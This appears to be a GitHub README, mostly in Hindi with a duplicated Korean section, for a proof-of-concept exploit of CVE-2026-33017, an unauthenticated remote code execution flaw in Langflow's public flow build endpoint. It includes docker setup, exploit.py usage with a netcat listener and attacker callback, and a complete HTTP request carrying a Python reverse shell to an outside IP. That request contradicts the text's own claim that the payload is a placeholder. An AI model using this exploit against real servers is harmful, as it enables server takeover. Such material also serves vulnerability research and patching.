eqstlab/cve-2026-33017Langflow RCE
★ CVE-2026-33017 Langflow रिमोट कोड एक्ज़ीक्यूशन PoC ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
कमजोर Langflow पर्यावरण को बनाने और चलाने के लिए निम्न कमांड का उपयोग करें:
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
कमजोर Langflow इंस्टेंस शुरू करने के बाद, टारगेट URL, Public flow ID और अटैकर कॉलबैक पते के साथ PoC चलाएँ।
विकल्प A — अपना खुद का लिसनर उपयोग करें:
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
विकल्प B — --listen के साथ बिल्ट-इन लिसनर उपयोग करें:
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
CVE-2026-33017, LLM एप्लिकेशन और AI वर्कफ़्लो को विज़ुअली बनाने के लिए उपयोग होने वाले ओपन-सोर्स प्लेटफ़ॉर्म Langflow की Public flow बिल्ड प्रक्रिया में रिमोट कोड एक्ज़ीक्यूशन (RCE) कमजोरी है।
बिना प्रमाणीकरण केbuild_public_tmpएंडपॉइंट पर क्राफ़्ट किया गया flow डेटा भेजकर, एक अटैकर सर्वर पर मनमाना Python कोड निष्पादित करवा सकता है।
CVE-2026-33017, LLM एप्लिकेशन और AI वर्कफ़्लो को विज़ुअली बनाने के लिए उपयोग होने वाले ओपन-सोर्स प्लेटफ़ॉर्म Langflow के निम्न Public flow बिल्ड एंडपॉइंट को प्रभावित करता है।
POST /api/v1/build_public_tmp/{flow_id}/flow
Langflow में एक Public flow को लिंक या समान तंत्र के माध्यम से अन्य उपयोगकर्ताओं के साथ साझा करने के लिए डिज़ाइन किया गया है।
इस सुविधा का समर्थन करने के लिए, बिल्ड एंडपॉइंट flow के nodes, edges और सेटिंग्स को पढ़कर, और उसे चलाने के लिए आवश्यक आंतरिक निष्पादन ग्राफ बनाकर, बिना प्रमाणीकरण के flow को निष्पादन के लिए तैयार करता है।
समस्या यह थी कि build_public_tmp के कमजोर संस्करण न केवल सर्वर पर संग्रहीत Public flow जानकारी को स्वीकार करते थे, बल्कि अनुरोध बॉडी में दिए गए data फ़ील्ड को भी स्वीकार करते थे।
यह data फ़ील्ड पूरी flow परिभाषा शामिल कर सकता था, जिसमें शामिल हैं:
परिणामस्वरूप, एक अटैकर सर्वर पर संग्रहीत वैध Public flow पर निर्भर रहने के बजाय, बिना प्रमाणीकरण वाले अनुरोध के माध्यम से पूरी तरह से अटैकर-नियंत्रित flow संरचना इंजेक्ट कर सकता था।
इस डिज़ाइन का एक विशेष रूप से खतरनाक हिस्सा Custom Component सुविधा है।
Langflow में, एक कंपोनेंट एक व्यक्तिगत कार्यात्मक ब्लॉक का प्रतिनिधित्व करता है जो इनपुट हैंडलिंग, मॉडल इनवोकेशन या आउटपुट जनरेशन जैसे कार्यों के लिए जिम्मेदार होता है। कस्टम कंपोनेंट एक एक्स्टेंसिबल ब्लॉक है जो उपयोगकर्ताओं को इसके व्यवहार को सीधे Python कोड में परिभाषित करने की अनुमति देता है।
इसलिए, एक अटैकर क्राफ़्ट किए गए data ऑब्जेक्ट के अंदर दुर्भावनापूर्ण Python कोड वाला कस्टम कंपोनेंट एम्बेड कर सकता था, और सर्वर इसे flow के सामान्य भाग की तरह प्रोसेस करता। परिणामस्वरूप, इंजेक्ट किया गया कोड बिल्ड या निष्पादन प्रक्रिया के दौरान पार्स और निष्पादित हो सकता था, जिससे अंततः रिमोट कोड एक्ज़ीक्यूशन हो सकता था।
| श्रेणी | संस्करण |
|---|---|
| कमजोर | Langflow 1.9.0 से पहले |
| पैच किया गया | Langflow 1.9.0 और बाद के |
GitHub Security Advisory प्रभावित सीमा को
<= 1.8.2के रूप में सूचीबद्ध करता है, लेकिन फिक्स —dataपैरामीटर को हटाना — 1.9.0 में लागू किया गया। इसलिए 1.9.0 से पहले के सभी रिलीज़ (1.8.3 / 1.8.4 सहित) प्रभावित हैं, यही कारण है कि CVE Record< 1.9.0बताता है।
इस कमजोरी का सफल शोषण एक अटैकर को Langflow सर्वर पर नियंत्रण प्राप्त करने और निम्न जैसी आगे की कार्रवाइयाँ करने की अनुमति दे सकता है:
निम्न PoC Langflow 1.8.1 पर CVE-2026-33017 को प्रदर्शित करता है।
अटैकर पहले टारगेट Public flow के flow_id की पहचान करता है।
अटैकर एक build_public_tmp अनुरोध भेजता है जो एक कस्टम कंपोनेंट इंजेक्ट करता है, जिसका Python code अस्थायी बिल्ड के दौरान सर्वर पर निष्पादित होता है। नीचे दिए गए अनुरोध में, code मान को प्लेसहोल्डर के रूप में छोड़ा गया है — पेलोड स्वयं डालें (अनुरोध के नीचे दिया गया नोट देखें)।
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
बिल्ड प्रक्रिया के दौरान, कस्टम कंपोनेंट में एम्बेडेड कोड सर्वर पर निष्पादित होता है। जब रिवर्स शेल वैरिएंट (exploit.py द्वारा स्वचालित) का उपयोग किया जाता है, तो अटैकर के लिसनर से एक कनेक्शन स्थापित होता है, जिससे अटैकर को सर्वर पर मनमाने कमांड चलाने के लिए एक इंटरैक्टिव शेल मिलता है।
हालाँकि build_public_tmp का उद्देश्य Public flows बनाना था, फिर भी कमजोर संस्करण अनुरोध बॉडी से सीधे आया data फ़ील्ड स्वीकार करते थे।
इस डिज़ाइन के कारण, अटैकर द्वारा आपूर्ति किया गया data सीधे सर्वर-साइड बिल्ड लॉजिक में पास हो जाता था, और कस्टम कंपोनेंट में एम्बेडेड किसी भी Python कोड को वैध flow का हिस्सा मानकर संभाला जाता था।
परिणामस्वरूप, अटैकर को सर्वर पर संग्रहीत मूल Public flow पर निर्भर रहने की आवश्यकता नहीं थी। इसके बजाय, वे अपनी पूरी तरह से दुर्भावनापूर्ण flow परिभाषा इंजेक्ट कर सकते थे, जिसमें सर्वर पर निष्पादित हो सकने वाला कोड भी शामिल था।
पैच के बाद, build_public_tmp अब बाहरी रूप से आपूर्ति किए गए data को स्वीकार नहीं करता है।
दूसरे शब्दों में, वह मार्ग जो पहले अटैकर्स को अनुरोध बॉडी के माध्यम से पूरी flow परिभाषा इंजेक्ट करने की अनुमति देता था, हटा दिया गया, जिससे दुर्भावनापूर्ण कस्टम कंपोनेंट्स के माध्यम से मनमाना कोड निष्पादन भी रोक दिया गया।
73b6612e3ef25fdae0a752d75b0fabd47328d4f0CVE-2026-33017은 오픈소스 AI 워크플로우 플랫폼 Langflow의 Public 플로우 빌드 과정에서 발생하는 원격 코드 실행(Remote Code Execution, RCE) 취약점이다.
공격자는 인증 없이build_public_tmp엔드포인트에 조작된 플로우 데이터를 전달함으로써, 서버 측에서 임의 Python 코드 실행을 유도할 수 있다.
CVE-2026-33017은 LLM 애플리케이션과 AI 워크플로우를 시각적으로 구성할 수 있는 오픈소스 플랫폼 Langflow의 Public 플로우 빌드 엔드포인트인 아래 API에서 발생한다.
POST /api/v1/build_public_tmp/{flow_id}/flow
Langflow의 Public 플로우는 다른 사용자가 링크 등을 통해 불러와 사용할 수 있도록 외부에 공개되는 플로우이다.
이 기능은 인증 없이도 해당 플로우를 실행 가능한 상태로 준비할 수 있도록 설계되어 있으며, 빌드 엔드포인트는 플로우를 구성하는 노드, 연결 관계, 설정값 등을 바탕으로 내부 실행 그래프를 생성하고 각 블록이 실제로 동작할 수 있도록 준비하는 역할을 수행한다.
문제는 취약한 버전의 build_public_tmp 엔드포인트가 요청 바디에 포함된 data 값도 함께 받아들였다는 점이다.
이 data에는 다음과 같은 플로우 전체 정의가 포함될 수 있다.
즉, 공격자는 인증 없는 요청으로 서버에 저장된 정상 플로우 대신 자신이 조작한 플로우 구조 전체를 주입할 수 있었다.
이 과정에서 특히 위험한 요소는 커스텀 컴포넌트(Custom Component) 이다.
Langflow에서 컴포넌트는 입력 처리, 모델 호출, 출력 생성 등 개별 기능을 담당하는 블록이며, 커스텀 컴포넌트는 사용자가 Python 코드로 직접 정의할 수 있는 확장형 블록이다.
공격자는 조작한 data 내부에 악성 Python 코드가 포함된 커스텀 컴포넌트를 삽입할 수 있었고, 서버는 이를 정상적인 플로우 구성 요소처럼 처리했다. 그 결과, 해당 코드가 빌드/실행 흐름에서 실제로 해석·실행되며 원격 코드 실행이 가능해졌다.
| 구분 | 버전 |
|---|---|
| 취약 버전 | Langflow 1.9.0 미만 |
| 패치 버전 | Langflow 1.9.0 이상 |
GitHub Security Advisory는 영향 범위를
<= 1.8.2로 표기하지만, 실제 패치(data파라미터 제거)는 1.9.0에 반영되었다. 따라서 1.8.3·1.8.4를 포함해 1.9.0 이전의 모든 버전이 취약하며, CVE Record도 이를< 1.9.0으로 명시한다.
이 취약점을 통해 공격자는 Langflow 서버를 제어한 뒤 추가 행위를 수행할 수 있다. 대표적인 영향은 다음과 같다.
아래 PoC는 Langflow 1.8.1 환경에서 CVE-2026-33017을 재현하는 예시이다.
공격자는 공격 대상이 되는 Public 플로우의 flow_id 를 먼저 파악한다.
공격자는 커스텀 컴포넌트의 Python code가 임시 빌드 과정에서 서버에서 실행되도록 조작한 build_public_tmp 요청을 전송한다. 아래 요청의 code 값은 자리표시자로 비워 두었으며, 페이로드는 직접 채워 넣어야 한다(요청 아래 안내 참고).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
빌드 과정에서 커스텀 컴포넌트에 포함된 코드가 서버에서 실행된다. exploit.py가 자동화하는 리버스 셸 방식을 사용하면 공격자 측 리스너로 연결이 수립되어, 공격자는 서버 상에서 임의 명령을 실행할 수 있는 대화형 셸을 획득한다.
취약 버전의 build_public_tmp 엔드포인트는 Public 플로우를 위한 빌드 API 임에도 불구하고, 요청 본문에서 data 값을 직접 받을 수 있었다.
이 설계 때문에 공격자가 전달한 data는 서버 측 빌드 로직에 그대로 반영되었고, 그 내부에 포함된 커스텀 컴포넌트의 Python 코드 역시 정상 플로우 구성 요소처럼 처리되었다.
결과적으로 공격자는 서버에 저장된 원래의 Public 플로우를 따르지 않고, 자신이 만든 악성 플로우 정의를 그대로 주입할 수 있었으며, 이 안에 포함된 악성 코드가 서버에서 실행될 수 있었다.
패치 이후에는 build_public_tmp에서 더 이상 외부 요청으로부터 data를 받지 않도록 수정되었다.
즉, 공격자가 요청 바디를 통해 플로우 정의 자체를 주입하는 경로가 차단되었고, 이로 인해 커스텀 컴포넌트를 통한 임의 코드 실행 또한 불가능해졌다.
73b6612e3ef25fdae0a752d75b0fabd47328d4f0| विकल्प | विवरण |
|---|
--url | टारगेट Langflow सर्वर URL |
--flow-id | साझा किए गए Public flow का UUID |
--lhost | अटैकर कॉलबैक IP |
--lport | अटैकर कॉलबैक पोर्ट |
--listen | बाहरी nc के बजाय बिल्ट-इन लिसनर चलाएँ |